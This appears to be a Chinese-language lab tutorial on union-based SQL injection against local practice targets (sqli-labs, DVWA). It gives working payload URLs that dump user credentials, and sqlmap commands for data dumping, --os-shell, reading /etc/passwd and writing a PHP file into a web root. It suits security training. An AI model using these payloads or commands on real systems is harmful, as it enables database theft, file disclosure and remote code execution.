一. 联合查询注入原理
1. mysql联合查询语法介绍
联合查询属于mysql的多表查询;
联合查询语法:select column1,column2,column3 from table1 union select column1,column2,column3 from table2
联合查询第二个表的字段数必须和第一个表的字段数相同;不然会报错;
变化性联合查询:
主要字段数相同,后面select函数查询什么都可以,哪怕是字符串;
2. 源码查看
打开sql注入靶机sqli-labs-master的第一关查看源代码
主要源代码是我下面截图的部分
其中主要的一句sql语句是:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其中id是我们GET传参传入的一个变量;可以看到输入正常的语句数据库并不会有问题
但是当$id=1' union select 1,2,database() -- - 时,整个sql语句就变成了
$sql="SELECT * FROM users WHERE id='1' union select 1,2,database() -- -' LIMIT 0,1"; (其中-- -为注释符,注释后面)
由于id参数外界可控;所以就形成了sql注入漏洞;攻击者利用这个漏洞可以查看(数据库当前用户权限)可以查看的任意资源;相当于拥有了与当前web绑定用户的所有权限;
sql注入产生的两大因素:1. 可控变量 2. 数据库交互
3. 联合查询常用函数
concat() 横向合并
group_concat() 纵向合并
order by x 猜解字段数
limit x,1 逐行显示
database() 显示当前数据库
version() 显示当前版本
user() 显示当前用户
-- - # --+ 注释符号
/**/ %0a + 空格符
/*!*/ 内联注释
二. 联合查询注入实操
1. 攻击环境
靶机:127.0.0.1主机;phpstudy环境;sqli-labs-master靶机;第三关
攻击机:127.0.0.1主机
2. 攻击步骤
(1)查看主页:127.0.0.1/sqli-labs-master/Less-3
(2)查询注入点(闭合)
常见闭合方式:' '," ",( ),(' '),(" "),'% %',"% %",('% %'),("% %")," ' ' "
其中:如果索引值为数值型,可以是数字or字符;如果索引值是字符型,只能是字符
mysql有个特殊的情况,真=1,假=0
在第三题中,我输入?id=1' and '1'='1 页面正确;输入?id=1' and '1'='2 页面错误;我以为 ' 为闭合符号,后来才发现不是;先使用注释符号进行尝试,别整什么左右闭合
猜测出闭合符号:')
?id=1') and 1=1-- - 正确;
?id=1') and 1=2-- - 错误;
(3)查询字段数
order by x 函数进行字段数查询;当当前字段存在时,则页面正常。当当前字段不存在时,则页面错误。(推荐二分法)
当order by 3时正确;当order by 4时错误;字段数为3
(4)查询数据库名:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,database()-- -
(5)查询表名:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -
(6)查询字段名:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'-- -
(7)查询数据:
1)一行一行查询:limit x,1函数
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,concat(id,0x7e,username,0x7e,password) from users limit 0,1-- -
其中改变limit 0,1的0为0~1~2 可以获取不同的行
2)一次性全部查询:group_concat()函数
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat(id,0x7e,username,0x7e,password)) from users-- -
1. sqlmap的重要参数
-u 指定url
-p 指定注入参数
-D 指定数据库名
-T 指定表名
-C 指定列名
--dbs 查询所有数据库名
--current-db 查询当前数据库名
--tables 查询所有表
--columns 查询所有列
--batch 自动化默认操作
-r 指定路径 burp抓到的包指定路径(适合post;有cookie;免验证)
--forms 自动识别post表单参数 适合无登录的url,或手动添加cookie
--cookie 指定cookie
2. sqlmap实操
(1)针对无验证的联合查询注入
靶机:http://127.0.0.1/sqli-labs-master/Less-4/
攻击机:127.0.0.1
查询是否存在注入点
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" --batch
查询当前数据库
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid --current-db --batch
查询当前表
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security --tables --batch
查询当前字段
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users --columns --batch
查询当前数据
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users -C id,password,username --dump --batch
(2)针对有验证的联合查询注入
靶机:DVWA
攻击机:127.0.0.1
查询当前参数是否存在注入点
不添加cookie身份进行测试;
sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --batch
添加cookie进行测试
sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch
回显为可以注入点
查询当前数据库名:
sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch --current-db
查询当前所有表名:
sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa --tables
查询当前所有字段名:
sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users --columns
查询数据:
sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users -C user,password --dump
(3)sqlmap写扩展功能
sqlmap注入点测试广度:
--level参数 1-5级别;默认1级别
sqlmap注入点测试深度:
--risk参数 1-3级别;默认1级别
执行shell
--os-shell
sqlmap读文件
-file-dest
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
sqlmap写文件
-file-write
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2
sqlmap脚本引用参数:
--tamper